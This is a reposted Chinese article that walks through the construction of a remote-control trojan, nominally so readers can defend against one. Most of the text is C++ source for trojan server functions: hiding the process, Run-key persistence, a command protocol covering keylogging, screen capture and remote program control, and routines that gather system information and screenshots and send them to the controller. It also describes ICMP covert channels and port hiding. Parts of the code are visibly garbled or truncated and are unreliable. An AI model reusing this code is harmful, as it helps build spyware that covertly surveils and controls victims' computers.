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透视特洛伊木马程序开发技术(转)

2004-09-25 22:23 435 查看
透视特洛伊木马程序开发技术(转)
转:纯真CZ88.NET

  近年来,黑客技术不断成熟起来,对网络安全造成了极大的威胁,黑客的主要攻击手段之一,就是使用木马技术,渗透到对方的主机系统里,从而实现对远程操作目标主机。 其破坏力之大,是绝不容忽视的,黑客到底是如何制造了这种种具有破坏力的木马程序呢,下面我对木马进行源代码级的详细的分析,让我们对木马的开发技术做一次彻底的透视,从了解木马技术开始,更加安全的管理好自己的计算机。

  1、木马程序的分类

  木马程序技术发展至今,已经经历了4代,第一代,即是简单的密码窃取,发送等,没有什么特别之处。第二代木马,在技术上有了很大的进步,冰河可以说为是国内木马的典型代表之一。第三代木马在数据传递技术上,又做了不小的改进,出现了ICMP等类型的木马,利用畸形报文传递数据,增加了查杀的难度。第四代木马在进程隐藏方面,做了大的改动,采用了内核插入式的嵌入方式,利用远程插入线程技术,嵌入DLL线程。或者挂接PSAPI,实现木马程序的隐藏,甚至在Windows NT/2000下,都达到了良好的隐藏效果。相信,第五代木马很快也会被编制出来。关于更详细的说明,可以参考ShotGun的文章《揭开木马的神秘面纱》。

   2.木马程序的隐藏技术

  木马程序的服务器端,为了避免被发现,多数都要进行隐藏处理,下面让我们来看看木马是如何实现隐藏的。

  说到隐藏,首先得先了解三个相关的概念:进程,线程和服务。我简单的解释一下。

  进程:一个正常的Windows应用程序,在运行之后,都会在系统之中产生一个进程,同时,每个进程,分别对应了一个不同的PID(Progress ID, 进程标识符)这个进程会被系统分配一个虚拟的内存空间地址段,一切相关的程序操作,都会在这个虚拟的空间中进行。

  线程:一个进程,可以存在一个或多个线程,线程之间同步执行多种操作,一般地,线程之间是相互独立的,当一个线程发生错误的时候,并不一定会导致整个进程的崩溃。

  服务:一个进程当以服务的方式工作的时候,它将会在后台工作,不会出现在任务列表中,但是,在Windows NT/2000下,你仍然可以通过服务管理器检查任何的服务程序是否被启动运行。

  想要隐藏木马的服务器端,可以伪隐藏,也可以是真隐藏。伪隐藏,就是指程序的进程仍然存在,只不过是让他消失在进程列表里。真隐藏则是让程序彻底的消失,不以一个进程或者服务的方式工作。

  伪隐藏的方法,是比较容易实现的,只要把木马服务器端的程序注册为一个服务就可以了,这样,程序就会从任务列表中消失了,因为系统不认为他是一个进程,当按下Ctrl+Alt+Delete的时候,也就看不到这个程序。但是,这种方法只适用于Windows9x的系统,对于Windows NT,Windows 2000等,通过服务管理器,一样会发现你在系统中注册过的服务。难道伪隐藏的方法就真的不能用在Windows NT/2000下了吗?当然还有办法,那就是API的拦截技术,通过建立一个后台的系统钩子,拦截PSAPI的EnumProcessModules等相关的函数来实现对进程和服务的遍历调用的控制,当检测到进程ID(PID)为木马程序的服务器端进程的时候直接跳过,这样就实现了进程的隐藏,金山词霸等软件,就是使用了类似的方法,拦截了TextOutA,TextOutW函数,来截获屏幕输出,实现即时翻译的。同样,这种方法也可以用在进程隐藏上。

   当进程为真隐藏的时候,那么这个木马的服务器部分程序运行之后,就不应该具备一般进程,也不应该具备服务的,也就是说,完全的溶进了系统的内核。也许你会觉得奇怪,刚刚不是说一个应用程序运行之后,一定会产生一个进程吗?的确,所以我们可以不把他做成一个应用程序,而把他做为一个线程,一个其他应用程序的线程,把自身注入其他应用程序的地址空间。而这个应用程序对于系统来说,是一个绝对安全的程序,这样,就达到了彻底隐藏的效果,这样的结果,导致了查杀黑客程序难度的增加。

  出于安全考虑,我只给出一种通过注册服务程序,实现进程伪隐藏的方法,对于更复杂,高级的隐藏方法,比如远程线程插入其他进程的方法,请参阅ShotGun的文章《NT系统下木马进程的隐藏与检测》。

  WINAPI WinMain(HINSTANCE, HINSTANCE, LPSTR, int)

  {

  try

  {

  DWORD dwVersion = GetVersion();  //取得Windows的版本号

  if (dwVersion >= 0x80000000)   // Windows 9x隐藏任务列表

  {

   int (CALLBACK *rsp)(DWORD,DWORD);

   HINSTANCE dll=LoadLibrary("KERNEL32.DLL");  //装入KERNEL32.DLL

   rsp=(int(CALLBACK *)(DWORD,DWORD))GetProcAddress(dll,"RegisterServiceProcess");  //找到RegisterServiceProcess的入口

   rsp(NULL,1);  //注册服务

   FreeLibrary(dll);  //释放DLL模块

  }

  }

  catch (Exception &exception)  //处理异常事件

  {

  //处理异常事件

  }

  return 0;

  3、程序的自加载运行技术

  让程序自运行的方法比较多,除了最常见的方法:加载程序到启动组,写程序启动路径到注册表的HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run的方法外,还有很多其他的办法,据yagami讲,还有几十种方法之多,比如可以修改Boot.ini,或者通过注册表里的输入法键值直接挂接启动,通过修改Explorer.exe启动参数等等的方法,真的可以说是防不胜防,下面展示一段通过修改HKEY_LOCAL_MACHINE/SOFTWARE/Microsoft/Windows/CurrentVersions/Run键值来实现自启动的程序:

  自装载部分:

  HKEY hkey;

  AnsiString NewProgramName=AnsiString(sys)+AnsiString("+PName/">//")+PName

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN//",

  0L,

  NULL,

  REG_OPTION_NON_VOLATILE,KEY_ALL_ACCESS|KEY_SET_VALUE,

  NULL,

  &hkey,&k);

   RegSetValueEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  NewProgramName.c_str(),

  NewProgramName.Length());

  RegCloseKey(hkey);

  if (int(ShellExecute(Handle,

  "open",
  NewProgramName.c_str(),

  NULL,

  NULL,

  SW_HIDE))>32)

  {

   WantClose=true;

  Close();

  }

  else

  {

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

  long a=RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,&k);

  RegSetValueEx(hkey,

  "BackGroup",

  0,

  REG_SZ,

  ProgramName.c_str(),

  ProgramName.Length());

  int num=0;

  char str[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,str,

  NULL,

  &type,

  strv,&vl);

  if (strcmp(str,"BGroup")==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

   break;

  }

  }while(Suc== ERROR_SUCCESS);

  RegCloseKey(hkey);

  }

  自装载程序的卸载代码:

  int num;

  char str2[20];

  DWORD lth=20;

  DWORD type;

  char strv[255];

  DWORD vl=254;

  DWORD Suc;

  do{

  Suc=RegEnumValue(HKEY_LOCAL_MACHINE,

  (DWORD)num,

  str,

  NULL,

  &type,

  strv,

  &vl);

  if (strcmp(str,"BGroup")==0)

  {

   DeleteFile(AnsiString(strv));

   RegDeleteValue(HKEY_LOCAL_MACHINE,"BGroup");

   break;

  }

  }while(Suc== ERROR_SUCCESS)

  HKEY hkey;

  unsigned long k;

  k=REG_OPENED_EXISTING_KEY;

   RegCreateKeyEx(HKEY_LOCAL_MACHINE,

  "SOFTWARE//MICROSOFT//WINDOWS//CURRENTVERSION//RUN",

  0,

  NULL,

  REG_OPTION_NON_VOLATILE,

  KEY_SET_VALUE,NULL,

  &hkey,

  &k);

  do{

  Suc=RegEnumValue(hkey,(DWORD)num,str,  if (strcmp(str,"BackGroup")==0)

  {

  DeleteFile(AnsiString(strv));

  RegDeleteValue(HKEY_LOCAL_MACHINE,"BackGroup");

  break;

  }

  }while(Suc== ERROR_SUCCESS)

  RegCloseKey(hkey);

  其中自装载部分使用C++ Builder可以这样写,会比较简化:

  TRegistry & regKey = *new TRegistry();

  regKey.RootKey=HKEY_LOCAL_MACHINE;

  regKey.OpenKey("Software//Microsoft//Windows//CurrentVersion//Run",true);

  if(!regKey.ValueExists("Interbase Server"))

  {

  regKey.WriteString("Interbase Server",

  "D://Program Files//Borland//IntrBase//BIN//ibserver.exe");

  }

  regKey.CloseKey();

  delete ®ey;

  4、木马程序的建立连接的隐藏

  木马程序的数据传递方法有很多种,其中最常见的要属TCP,UDP传输数据的方法了,通常是利用Winsock与目标机的指定端口建立起连接,使用send和recv等API进行数据的传递,但是由于这种方法的隐蔽性比较差,往往容易被一些工具软件查看到,最简单的,比如在命令行状态下使用netstat命令,就可以查看到当前的活动TCP,UDP连接。

  C:/Documents and Settings/bigball>netstat -n

  Active Connections

   Proto Local Address Foreign Address State

   TCP 192.0.0.9:1032 64.4.13.48:1863 ESTABLISHED

   TCP 192.0.0.9:1112 61.141.212.95:80 ESTABLISHED

   TCP 192.0.0.9:1135 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1142 202.130.239.223:80 ESTABLISHED

   TCP 192.0.0.9:1162 192.0.0.8:139 TIME_WAIT

   TCP 192.0.0.9:1169 202.130.239.159:80 ESTABLISHED

   TCP 192.0.0.9:1170 202.130.239.133:80 TIME_WAIT

  C:/Documents and Settings/bigball>netstat -a

  Active Connections

   Proto Local Address Foreign Address State

   TCP Liumy:echo Liumy:0 LISTENING

   TCP Liumy:discard Liumy:0 LISTENING

   TCP Liumy:daytime Liumy:0 LISTENING

   TCP Liumy:qotd Liumy:0 LISTENING

   TCP Liumy:chargen Liumy:0 LISTENING

   TCP Liumy:epmap Liumy:0 LISTENING

   TCP Liumy:microsoft-ds Liumy:0 LISTENING

   TCP Liumy:1025 Liumy:0 LISTENING

   TCP Liumy:1026 Liumy:0 LISTENING

   TCP Liumy:1031 Liumy:0 LISTENING

   TCP Liumy:1032 Liumy:0 LISTENING

   TCP Liumy:1112 Liumy:0 LISTENING

   TCP Liumy:1135 Liumy:0 LISTENING

   TCP Liumy:1142 Liumy:0 LISTENING

   TCP Liumy:1801 Liumy:0 LISTENING

   TCP Liumy:3372 Liumy:0 LISTENING

   TCP Liumy:3389 Liumy:0 LISTENING

   TCP Liumy:netbios-ssn Liumy:0 LISTENING

   TCP Liumy:1028 Liumy:0 LISTENING

   TCP Liumy:1032 msgr-ns19.msgr.hotmail.com:1863 ESTAB

   TCP Liumy:1112 szptt61.141.szptt.net.cn:http ESTABLI

   TCP Liumy:1135 202.130.239.223:http ESTABLISHED

   TCP Liumy:1142 202.130.239.223:http ESTABLISHED

   TCP Liumy:1162 W3I:netbios-ssn TIME_WAIT

   TCP Liumy:1170 202.130.239.133:http TIME_WAIT

   TCP Liumy:2103 Liumy:0 LISTENING

   TCP Liumy:2105 Liumy:0 LISTENING

   TCP Liumy:2107 Liumy:0 LISTENING

   UDP Liumy:echo *:*

   UDP Liumy:discard *:*

   UDP Liumy:daytime *:*

   UDP Liumy:qotd *:*

   UDP Liumy:chargen *:*

   UDP Liumy:epmap *:*

   UDP Liumy:snmp *:*

   UDP Liumy:microsoft-ds *:*

   UDP Liumy:1027 *:*

   UDP Liumy:1029 *:*

   UDP Liumy:3527 *:*

   UDP Liumy:4000 *:*

   UDP Liumy:4001 *:*

   UDP Liumy:1033 *:*

   UDP Liumy:1148 *:*

   UDP Liumy:netbios-ns *:*

   UDP Liumy:netbios-dgm *:*

   UDP Liumy:isakmp *:*

  但是,黑客还是用种种手段躲避了这种侦察,就我所知的方法大概有两种,一种是合并端口法,也就是说,使用特殊的手段,在一个端口上同时绑定两个TCP或者UDP连接,这听起来不可思议,但事实上确实如此,而且已经出现了使用类似方法的程序,通过把自己的木马端口绑定于特定的服务端口之上,(比如80端口的HTTP,谁怀疑他会是木马程序呢?)从而达到隐藏端口的目地。另外一种办法,是使用ICMP(Internet Control Message Protocol)协议进行数据的发送,原理是修改ICMP头的构造,加入木马的控制字段,这样的木马,具备很多新的特点,不占用端口的特点,使用户难以发觉,同时,使用ICMP可以穿透一些防火墙,从而增加了防范的难度。之所以具有这种特点,是因为ICMP不同于TCP,UDP,ICMP工作于网络的应用层不使用TCP协议。关于网络层次的结构,下面给出图示:

   网络层次结构图

  5、发送数据的组织方法

  关于数据的组织方法,可以说是数学上的问题。关键在于传递数据的可靠性,压缩性,以及高效行。木马程序,为了避免被发现,必须很好的控制数据传输量,一个编制较好的木马,往往有自己的一套传输协议,那么程序上,到底是如何组织实现的呢?下面,我举例包装一些协议:

  typedef struct{ //定义消息结构

  //char ip[20];

  char Type; //消息种类

  char Password[20]; //密码

  int CNum; //消息操作号

  //int Length; //消息长度

  }Msg;

  #define MsgLen sizeof(Msg)

  //-------------------------------------------

  //对话框数据包定义:Dlg_Msg_Type.h

  //-------------------------------------------

  //定义如下消息类型:

  #define MsgDlgCommon 4//连接事件

  #define MsgDlgSend 5//发送完成事件

  //消息结构

  typedef struct{

   char Name[20];//对话框标题

   char Msg[256];//对话框消息内容

  }MsgDlgUint;

  #define MsgDlgLen sizeof(MsgDlgUint)//消息单元长度

  //------------------------------------------

  //聊天数据包定义:Chat_Msg_Type.h

  //------------------------------------------

  //定义如下消息类型:

  #define MsgChatCommon 0//连接事件

  #define MsgChatConnect 1//接入事件

  #define MsgChatEscept 2//结束事件

  #define MsgChatReceived 16//确认对话内容收到

  //消息结构

  typedef struct{

   char ClientName[20];//Client自定义的名称

   char Msg[256];//发送的消息

  }MsgChatUint;

  #define MsgChatLen sizeof(MsgChatUint)//消息单元长度

  //------------------------------------------

  //重启数据包定义:Reboot_Msg_Type.h

  //------------------------------------------

  //定义如下消息类型:

  #define MsgReBoot 15//重启事件

  //------------------------------------------

  //目录结构请求数据包定义:Dir_Msg_Type.h

  //------------------------------------------

  //定义如下消息类型:

  #define MsgGetDirInfo 17

  #define MsgReceiveGetDirInfo 18

  typedef struct{

  char Dir[4096];//你要的目录名

  }MsgDirUint;

  #define MsgDirUintLen sizeof(MsgDirUint)

  // TCP的Msg

  typedef struct{ //定义消息结构

  char SType; //消息种类

  char SPassword[20]; //密码

  //int SNum; //消息操作号

  char *AllMsg;

  }SMsg;

  #define SMsgLen sizeof(SMsg)

  #define MSGListProgram 19

  #define MSGFlyMouse 21

  #define MSGGoWithMouse 22

  #define MSGSaveKey 23

  #define MSGTracekey 24

  #define MsgCopyScreen 25//tcp接收消息,udp请求消息

  #define MSGCopyWindow 26

  //-------------------------

  //鼠标指针隐藏和显示控制

  //-------------------------

  #define MsgSetMouseStat 27//设置消息

  #define MsgMouseStat 28//成功消息

  typedef struct{

  bool mouseshow;

  }MsgSetMouseStatUint;

  #define MsgSetMouseStatUintLen sizeof(MsgSetMouseStatUint)

  //-------------------------

  //任务栏隐藏和显示控制

  //-------------------------

  #define MsgSetTaskBarStat 29//设置消息

  #define MsgTaskBarStat 30//成功消息

  typedef struct{

  bool taskshow;

  }MsgSetTaskBarStatUint;

  #define MsgSetTaskBarStatUintLen sizeof(MsgSetTaskBarStatUint)

  //-------------------------

  //得到机器名

  //-------------------------

  #define MsgGetNetBiosName 31//取请求

  #define MsgNetBiosName 32//回送机器名

  typedef struct{

  char NetBiosName[128];

  }MsgNetBiosNameUint;

  #define MsgNetBiosNameUintLen sizeof(MsgNetBiosNameUint)

  //-------------------------

  //关闭进程变更!

  //-------------------------

  #define MsgSetProgramClose 33//关闭请求

  #define MsgProgramClosed 34//成功消息-----

  typedef struct{

  char ProgramName[4096];//old struct : char ProgramName[128];//要关闭的窗口的名字

  }MsgSetProgramCloseUint;

  #define MsgSetProgramCloseUintLen sizeof(MsgSetProgramCloseUint)

  //-------------------------

  //打开进程变更!

  //-------------------------

  #define MsgSetProgramOpen 20//打开请求

  #define MsgProgramOpened 36//成功消息

  typedef struct{

  char ProgramName[4096]; //old struct : char ProgramName[128];//要打开的程序的名字

  bool ProgramShow;//前台运行或后台运行程序(隐藏运行)

  }MsgSetProgramOpenUint;

  #define MsgSetProgramOpenUintLen sizeof(MsgSetProgramOpenUint)

  #define MsgGetHardWare 35//请求硬件信息(UDP消息)和回传硬件信息(TCP消息)

  上面一段定义,使用了TCP和UDP两种协议目的就是为了减少TCP连接的几率,这样所消耗的系统资源就会比较少,不容易让目标机察觉。很多木马程序中,都有像上面定义中类似的密码定义,目地是为了防止非真实客户机的连接请求。SNum 为消息操作号,它的作用是为了效验数据是否是发送过的,经过分析而知,我们熟悉的OICQ也正是使用了这一办法来校验消息的。

  数据协议组织好,还有一步工作,就是数据的打包发送,一般的方法是把全部数据压为一个VOID类型的数据流,然后发送:

  Msg *msg=new Msg;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  RData->Read(msg,sizeof(Msg));

  UdpConnect *udpconnect=new UdpConnect;

  NetBiosName *netbiosname=new NetBiosName;

  if(msg->CNum==CNumBak)

  return;

  else{

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0://MsgUdpConnect

  RData->Read(udpconnect,sizeof(UdpConnect));

  checkuser(udpconnect->IsRight);

  break;

  case 1:

  RData->Read(netbiosname,sizeof(NetBiosName));

  AnsiString jqm="机器名 ";

  jqm+=(AnsiString)netbiosname->NetBiosName;

  Memo2->Lines->Add(jqm);

  break;

  }

  }

  当服务器端收到数据后,首先要做的工作是解包还原VOID流为结构化的协议,这里同样给出事例代码:

  NMUDP1->RemoteHost=FromIP;

  NMUDP1->RemotePort=Port;

  TMemoryStream *RData=new TMemoryStream;

  NMUDP1->ReadStream(RData);

  Msg *msg=new Msg;

  RData->Read(msg,sizeof(Msg));

  if(msg->CNum==CNumBak)

  return;

  else

  {

  CNumBak=msg->CNum;

  switch(msg->Type)

  {

  case 0:

  checkuser(msg->Password);

  break;

  case 1:

  GetNetBiosName();

  break;

  case 2:

  CheckHard();

  break;

  }

  }

  此外,很多木马程序支持了屏幕回传的功能,其根本的原理是先捕获屏幕画面,然后回传给客户机,由于画面的数据量很大所以,很多木马程序都是在画面改变的时候才回传改变部分的画面,常用的手段是最小矩形法,下面以好友“古老传说”的一段算法举例:

  #define MAXXCount 10 //屏幕X方向最多分割块数

  #define MAXYCount 5 //... Y................

  #define DestNum 1000 //每块的偏移检测点最大个数

  COLORREF Colors[MAXXCount][MAXYCount][DestNum];

  COLORREF BakColors[MAXXCount]{MAXYCount][DestNum];

  TPoint Dests[DestNum];

  int Sw;

  int Sh;

  int xCount;

  int yCount;

  int ItemWidth;

  int ItemHeight;

  int Dnum;

  int Qlity;

  //得到消息后执行:

  //另外:接收到的数据包中分析出 Dnum ,Qlity

  //Dnum:偏移观测点数量

  //Qlity:图象要求质量

  __fastcall TForm1::CopyScreen(int DNum,int Qlity){

  ItemWidth=Sw/xCount;

  ItemHeight=Sh/yCount;

  Sw=Screen->Width;

  Sh=Screen->Height;

  xCount=(Sw>1000)?8:6;

  yCount=(Sh>1000)?3:2;

  for (int num1=0;num1 Dests[num1].x=random(ItemWidth);

  Dests[num1].y=random(ItemHeight);

  }

  CatchScreen(DNum,Qlity);

  }

  //收到刷屏消息后只执行:

  CatchScreen(DNum,Qlity);

  __fastcall TForm1::CatchScreen(int DNum,int Qlity){

  //函数功能:扫描改变的屏幕区域,并切经过优化处理,最后发送这些区域数据

  //DNum: 偏移量 Qlity:图象质量

  HDC dc=GetDC(GetDesktopWindow());

  Graphics::TBitmap *bm=new Graphics::TBitmap;

  bm->Width=Sw;

  bm->Height=Sh;

  BitBlt(bm->Canvas->Handle,0,0,Sw-1,Sh-1,dc,0,0);

  int num1,num2,num3;

  int nowx,nowy;

  bool Change;

  bool ItemChange[MAXXCount][MAXYCount];

  for (num1=0;num1 nowx=ItemWidth*num1;

  for (num2=0;num2 nowy=ItemHeight*num2;

  Change=false;

  for (num3=0;num3 Colors[num1][num2][num3]=bm->Canvas->Pixels[nowx+Dests[num3].x][nowy+Dests[num3].y];

  if (Colors[num1][num2][num3]!=BakColors[num1][num2][num3]){

  BakColors[num1][num2][num3]=Colors[num1][num2][num3];

  ItemChange[num1][num2]=true;

  }

  }

  }

  }

  int CNum,MaxCNum;

  int ChangedNum=0;

  TRect *Rect;

  int num4;

  int MinSize=10000;

  int m;

  TRect MinRect;

  Graphics::TBitmap *bt2=new Graphics::TBitmap;

  TJPEGImage *j=new TJPEGImage;

  //************************

  j->Quality=Qlity;

  //************************

  CopyScreenUint CopyScreen;

  CopyScreenItemUint CopyScreenItem;

  TMemoryStream *ms=new TMemoryStream;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUint));

  do{

  for (num1=0;num1 for (num2=0;num2 for (num3=num1+1;num3<=xCount;num3++){

  MaxCNum=0;

  for (num4=num2+1;num4<=yCount;num4++){ //遍历所有矩形

  CNum=GetChangedNum(TRect(num1,num2,num3,num4));

  if (CNum>MaxCNum) MaxCNum=CNum;

  m=(num3-num1)*(num4-num2);

  if (2*m-CNum MinSize=2*m-CNum;

  MinRect=TRect(num1,num2,num3,num4);

  }

  }

  }

  TMemoryStream *ms;

  BitBlt(bt2->Canvas->Handle,0,0,ItemWidth-1,ItemHeight-1,bt->Canvas->Handle,0,0);

  j->Assign(bt2);

  j->SaveToStream(ms2);

  CopyScreenItem.Rect=TRect(num1,num2,num3,num4);

  CopyScreenItem.FileType=JPEGFILE; //JPEGFILE 定义为:#define JPEGFILE 1

  ms2->Position=0;

  CopyScreenItem.Length=ms2->Size;

  ms->Write(&CopyScreenItem,sizeof(ScreenItemUint));

  ms->CopyFrom(ms2,ms2->Size);

  ChangedNum++;

  }while(MaxCNum>0);

  TcpMsg.Type=MsgCopyScreen;

  ms->Position=0;

  TcpMsg.Length=ms->Size-sizeof(TcpMsgUint);

  CopyScreen.Count=ChangedNum;

  ms->Write(&TcpMsg,sizeof(TcpMsgUint));

  ms->Write(&CopyScreen,sizeof(CopyScreenUInt));

  ms->Position=0;

  sock->SendStream(ms);

  }

  这个程序把屏幕画面切分为了多个部分,并存储画面为JPG格式,这样压缩率就变的十分的高了。通过这种方法压缩处理过的数据,变得十分小,甚至在屏幕没有改变的情况下,传送的数据量为0,在这里不做过多分析了,有兴趣的朋友,可以多看看。

  6、目标机器情况的获取

  相对于以上几部分来说,这里实现的方法简单多了,这一段内容会比较轻松,一般获取机器情况的方法是调用相关的API,这一点上是和应用程序很相像的。

  AnsiString cs;

  FILE *fp;

  fp=fopen("temp.had","w+");

  //TODO: Add your source code here

  //获得CPU型号

  SYSTEM_INFO systeminfo;

  GetSystemInfo (&systeminfo);

  cs="CPU类型是:"+String(systeminfo.dwProcessorType)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  MEMORYSTATUS memory;

  memory.dwLength =sizeof(memory); //初始化

  GlobalMemoryStatus(&memory);

  cs="物理内存是(Mb):"+String(int(memory.dwTotalPhys /1024/1024))+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs="可用内存是(Kb):"+String(int( memory.dwAvailPhys/1024))+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  DWORD sector,byte,cluster,free;

  long int freespace,totalspace;

  UINT type;

  char name;

  //0—未知盘、1—不存在、2—可移动磁盘、3—固定磁盘、4—网络磁盘、

  //5—CD-ROM、6—内存虚拟盘

  char volname[255],filename[100];//buffer[512];

  DWORD sno,maxl,fileflag ;

  for (name=‘A‘;name<=‘Z‘;name++) {//循环检测A~Z

  type = GetDriveType(AnsiString(AnsiString(name)+‘:‘).c_str()); //获得磁盘类型

  if(type==0){

  cs="未知类型磁盘:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==2){

  cs="可移动类型磁盘:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==3){

  cs="固定磁盘:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if(type==4)   {

  cs="网络映射磁盘:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==5)  {

  cs="光驱:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  else if (type==6)  {

  cs="内存虚拟磁盘:"+String(name)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

   if(GetVolumeInformation((String(name)+String(‘:‘)).c_str(), volname,255,&sno,&maxl,&fileflag,filename,100))  {

  cs=String(name)+"盘卷标为:"+String(volname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+"盘序号为:"+String(sno)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  GetDiskFreeSpace((String(name)+String(‘:‘)).c_str(),§or,&byte,&free,&cluster); //获得返回参数

  totalspace=int(cluster)*byte*sector/1024/1024; //计算总容量

  freespace=int(free)*byte*sector/1024/1024; //计算可用空间

  cs=String(name)+String(‘:‘)+"盘总空间(Mb):"+AnsiString(totalspace)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  cs=String(name)+String(‘:‘)+"盘可用空间(Mb):"+AnsiString(freespace)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  }

  int wavedevice,mididevice;

  WAVEOUTCAPS wavecap;

  MIDIOUTCAPS midicap;

  wavedevice=(int)waveOutGetNumDevs(); //波形设备信息

  mididevice=(int)midiOutGetNumDevs(); // MIDI设备信息

  if (wavedevice!=0){

  waveOutGetDevCaps(0,&wavecap,sizeof(WAVEOUTCAPS));

  cs="当前波形设备:"+String(wavecap.szPname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  if (mididevice!=0){

  midiOutGetDevCaps(0,&midicap,sizeof(MIDIOUTCAPS));

  cs="当前MIDI设备:"+String(midicap.szPname)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  }

  long double tcs;

  long double tc;

  long int bpp,cp;

  cs="当前分辨率为:"+String(Screen->Width)+AnsiString("*")+ String(Screen->Height)+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  bpp=GetDeviceCaps(Canvas->Handle ,BITSPIXEL);

  tcs=pow(2,bpp); //计算色彩的梯度数

  cp= GetDeviceCaps(Form1->Canvas->Handle,PLANES);

  tc= pow(double(tcs),double(cp)); //计算色深

  AnsiString sss;

  sss=bpp;

  cs="当前色深为:"+sss+"/n";

  fwrite(cs.c_str(),cs.Length(),1,fp);

  fclose(fp);

  AnsiString FileName="temp.had";

  char *buf;

  TcpMsgUint Msg2;

  strcpy(Msg2.TPassword,Password);

  TMemoryStream *ms=new TMemoryStream;

  ms->Clear();

  if (!FileExists(FileName)) CheckHard();

  TFileStream *fs=new TFileStream(FileName,fmOpenRead);

  buf=new char[fs->Size+sizeof(TcpMsgUint)+1];

  fs->Read(buf,fs->Size);

  Msg2.Type=MsgGetHardWare;

  Msg2.Length=fs->Size;

  FileClose(fs->Handle);

  ms->Write(&Msg2,sizeof(TcpMsgUint));

  ms->Write(buf,Msg2.Length);

  ms->Position=0;

  delete []buf;

  try{

  sock->SendStream(ms);

  }

  catch(Exception&e) {

  }

  }

  上面一段程序,基本上把相关的系统信息都取到了。

  7、服务器端程序的包装与加密

  有些软件允许用户自定义端口号。这样做的目的,是为了防止被反黑程序检测出来,这种功能是如何实现的呢?

  首先让我们来做一个实验:

  进入Windows的命令行模式下做如下操作

  1)C:/>copy Server.Exe Server.Bak

  2)建立一个文本文件Test.Txt,其内容为“http://www.patching.net”

  3)C:/>type Text.Txt>>Server.Exe

  4)运行Server.Exe

  怎么样?是不是发现Server.Exe仍然可以运行呢?木马服务器端自定制的奥秘就在这里:首先生成了一个EXE文件,这个EXE文件里有一项读取自身进程内容的操作,读取时,文件的指针直接指向进程的末尾,从末尾的倒数N个字节处取得用户定制的信息,比如端口号等,然后传递给程序的相关部分进行处理。这里不给出相关的代码部分,有兴趣的朋友请参考一些文件打包程序代码,它所使用的技术是大同小异的。

  8、总结

  以上讲的几点技术,基本上包括了所有第二代木马的特点,个别的木马程序支持服务器列表,宏传播等,实现上大同小异。随着技术的不断更新和发展,相信离第五代木马出现的日子已经不远了,黑与反黑,如此往复的的进行下去,希望这篇文章在您阅读之后能带给您一些反黑技术上的帮助。
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